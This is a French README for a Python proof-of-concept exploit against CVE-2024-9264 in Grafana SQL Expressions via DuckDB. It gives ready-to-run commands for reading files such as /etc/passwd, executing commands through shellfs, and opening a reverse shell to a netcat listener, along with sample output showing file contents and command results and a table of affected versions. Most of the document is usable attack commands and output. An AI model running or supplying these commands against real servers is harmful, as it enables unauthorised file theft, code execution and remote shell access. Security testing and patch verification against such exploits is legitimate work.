
CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC
Preuve de concept en Python pour CVE-2024-9264, une vulnérabilité de Grafana SQL Expressions qui peut permettre l'inclusion locale de fichiers après authentification et l'exécution de commandes lorsque duckdb est disponible dans le PATH du processus Grafana.
Réservé aux tests et à la recherche autorisés. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.
accès API Grafana authentifié -> requête SQL Expressions DuckDB -> lecture de fichier -> exécution de commande shellfs facultative
read_blob(). Si l'exécution de commandes est demandée, /etc/passwd est d'abord utilisé comme fichier de validation par défaut.shellfs et exécute une commande via un appel read_csv() adossé à un tube./tmp/cve_2024_9264_out et affiche le résultat décodé.Le point de terminaison vulnérable peut être appelé directement via l'API ; aucune interaction avec l'interface du tableau de bord n'est requise. L'authentification reste néanmoins requise.



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
Lorsque --file est utilisé seul, le script lit directement ce fichier et affiche le contenu décodé dans la section des résultats de lecture de fichier.
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
Le script effectue d'abord une validation par lecture du fichier /etc/passwd par défaut, puis délivre le payload de la commande. Dans la section des résultats, il affiche la sortie décodée de la commande au lieu de la réponse JSON brute de Grafana.
Démarrez un écouteur :
rlwrap nc -lvnp 4444
Envoyez le payload de reverse shell :
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
Ces options sont basées sur l'interface en ligne de commande actuelle du script :
-u, --url, --target TARGET
URL cible, p. ex. http://localhost:3000
--username USERNAME Nom d'utilisateur Grafana. Défaut : admin
--password PASSWORD Mot de passe Grafana. Défaut : admin
--file FILE Chemin du fichier à lire. Chemin de preuve par défaut : /etc/passwd
--expected-marker MARKER
Marqueur attendu dans la réponse de lecture du fichier. Défaut : root:
--cmd CMD Commande à exécuter via le chemin shellfs de DuckDB
--reverse-shell Exécuter un payload bash de reverse shell
--lhost LHOST Hôte de l'écouteur pour --reverse-shell
--lport LPORT Port de l'écouteur pour --reverse-shell
--timeout TIMEOUT Délai d'expiration HTTP en secondes. Défaut : 20
--verify-tls Vérifier les certificats TLS. Défaut : activé
-k, --insecure Désactiver la vérification des certificats TLS
--dry-run Afficher les métadonnées de la cible et du payload sans envoyer de requêtes
--debug Afficher les métadonnées de débogage des requêtes
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| Produit | Version concernée | Accès requis | Impact |
|---|---|---|---|
| Grafana OSS / Enterprise | Grafana 11.0.x, 11.1.x et 11.2.x avant les versions de sécurité corrigées | Viewer ou supérieur | Inclusion locale de fichiers et injection de commandes lorsque DuckDB est présent dans le PATH de Grafana |
Grafana indique que l'exploitation nécessite que le binaire duckdb soit présent dans le PATH du processus Grafana ; les distributions Grafana standard n'installent pas DuckDB par défaut.
shellfs dans l'environnement cible.-k ou --insecure.11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 et 11.2.2+security-01.ozcanpng - github.com/ozcanpng - ozcanpng.dev